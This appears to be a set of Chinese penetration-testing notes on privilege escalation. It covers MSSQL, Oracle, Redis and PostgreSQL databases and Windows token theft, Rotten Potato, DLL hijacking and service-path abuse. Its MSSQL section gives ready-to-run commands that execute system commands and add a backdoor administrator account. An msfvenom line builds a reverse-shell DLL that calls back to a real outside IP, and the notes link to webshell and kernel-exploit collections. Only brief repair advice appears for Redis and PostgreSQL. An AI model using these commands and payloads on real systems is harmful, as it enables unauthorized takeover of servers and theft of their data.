目录
权限分类
针对环境
webshell权限
本地用户权限
提权方法
1.windows内核溢出漏洞(如何判断类型和利用)
2.数据库提权
Mysql
Mssql
oracle
redis
postgresql
3.令牌窃取
4.进程注入
资源连接
5.烂土豆配合令牌窃取 (推荐)
提权原理
使用方法
6.Win2012-DLL 劫持提权应用配合 MSF-Web 权限
7.Win2012-不带引号服务路径配合 MSF-Web,本地权限
8.Win2012-不安全的服务权限配合 MSF-本地权限
涉及资源:
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)网站权限:(获得方式:以上三种思路获取)
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。数据库权限
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。接口权限(邮件,短信,支付,第三方登录等)
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
不同环境下的提权方式不同
web网站拿到的webshell环境,一般是低权限的用户,(jsp除外,拿到webshell就是system权限)
另一种是本地的环境,可能是服务器为管理某项服务创建的低权限用户。不同环境下的操作会有所不同。
信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
Vulmap,Wes,WindowsVulnScan 对比,exp 在哪里获取?
利用wes进行补丁筛选
首先进行数据库探针端口开放情况,并获取高权限数据库用户账号密码(通过后台备份文件等等信息搜集),再根据数据库系统的种类采用不同的提权方法。
其中中udf比较好用,是利用mysql的调用外部函数模块进行命令执行和提权。推荐使用暗月的udf提权脚本。
1.使用 xp_cmdshell 进行提权
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2.使用 sp_oacreate 进行提权
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
3.使用 SQL Server 沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行 xp_regwrite 会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
-- 执 行 系 统 命 令 select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式 SandBoxMode 参数含义(默认是 2)
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式: (sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
(1).利用计划任务执行命令反弹 shell
(2).写 ssh-keygen 公钥然后使用私钥登陆
(3).权限较低往 web 物理路径写 webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的 IP。 将 127.0.0.1 修改为需要访问此数据库的 IP 地址。
设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。
修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,禁用账号的登录权限
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁
使用版本win8及win8以下版本,需要
Microsoft Windows XP Professional SP3 和之前版本
Windows Server 2003 SP2 和之前的版本
Windows Server 2003 x64 和 x64 SP2
Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于 Itanium 的系统)
Windows Vista SP1 和之前的版本
Windows Vista x64 SP1 和之前的版本
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
应用版本win8以下
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统。
pinjector 进程注入工具针对-win2008 以前操作系统
pexec64 32 进程注入工具针对-win2008 及后操作系统-(佛系)
https://www.tarasco.org/security/Process_Injector/processinjector.zip
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户
适用版本:Windows 7、8、10、2008、2012
上传potato.exe到目标机器,执行后会欺骗system账户通过NTLM认证到我们控制的TCP终端。通过NTLM重放来为当前本地协商一个“NT AUTHORITY\SYSTEM”的安全令牌。从而配合令牌窃取。本来令牌窃取需要有可模仿的令牌,而烂土豆很好的解决了这一问题。
将烂土豆文件通过工具或者其他方式上传到对方的路径下
upload /root/桌面/potato.exe C:\
进入烂土豆目录执行烂土豆
cd C:\\防止转码
配合令牌窃取
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
适用版本:Windows 7、8、10、2008、2012
原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录 Current Working Directory,CWD
6、在 PATH 环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/xiaodi.dll
原理:当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk.exe -uwcqv "administrators" *
sc config "NewServiceName" binpath="C:\Program.exe"
sc start "NewServiceName"
小迪渗透&权限提升(捌)_进击的网安攻城狮的博客-CSDN博客
权限提升-windows令牌窃取烂土豆-引号路径提权_告白的博客-CSDN博客_windows令牌窃取提权
https://github.com/tennc/webshell
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075